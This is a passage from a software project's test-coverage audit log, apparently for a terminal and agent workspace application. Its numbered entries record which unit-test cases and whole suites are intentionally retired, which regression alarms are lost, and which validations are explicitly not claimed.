eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Module layout SSH policy: Retire the multiplexer private-clock saturation registration, the writer saturation transition-count registration and the changed-source dated writer/backpressure receipt. Retained byte delivery, lane order, fairness, settlement and cancellation cases are unvalidated by that historical receipt. No equivalent replacement, new execution, measured performance, live SSH/WSL or cross-platform proof is claimed. The unchanged WSL protocol receipt retains only its original command scope. Historical prior account (preserved verbatim): Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2070 (sources2068/2069): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/hooks-and-hosted-review.spec'). src/main/ssh/ssh-multiplexer-transport-writer.test.ts: reports saturated epochs and their drain boundary exactly once. src/main/runtime/orca-runtime-tests/worktree-removal-archive-hook-gate.spec.ts: removes and records the waiver when the failure is explicitly overridden; removes without an override record when the hook succeeds; removes when the hook is configured but not requested; removes when no archive hook is configured; holds a desktop removal in the same repo until this one is accepted; joins a desktop removal of the same worktree accepted while this one waited. src/main/runtime/orca-runtime-tests/worktree-ps-agent-row-dismissal.spec.ts: drops the row as soon as the user dismisses it, without waiting for the PTY to exit; tells paired clients to republish on the transition and on the dismissal; rejoins a row through its %s handle after pane ownership clears. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review.spec.ts: reports an error when the SSH filesystem provider is unavailable; reports an SSH orca.yaml as an error without reading any filesystem; reports ok for a local repo hook check; reads SSH issue commands as absent and drops writes without touching any filesystem; allows host integration slug helpers for SSH repos through provider-aware GitHub clients; routes runtime GitHub repo identity helpers through the selected WSL project runtime; routes runtime GitHub issue and work-item actions through the selected WSL project runtime; pins explicit origin preference on runtime open-by-number work item lookups; forwards check-details cancellation without local Git overrides. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. The historical receipt/currentCommand selecting src/main/ssh/ssh-multiplexer-transport-writer.test.ts remains historical and is not a passing result for the reduced current command. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete tail-wait memo suite: its sole current authored callback checks supplied fromTail/blocked field values. Retire all three broader memoization/equivalence/eviction assertion aliases; they are not backed by retained source callbacks. No scan-work budget, sustained output, physical terminal or resource measurement is assigned to this removed test. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent 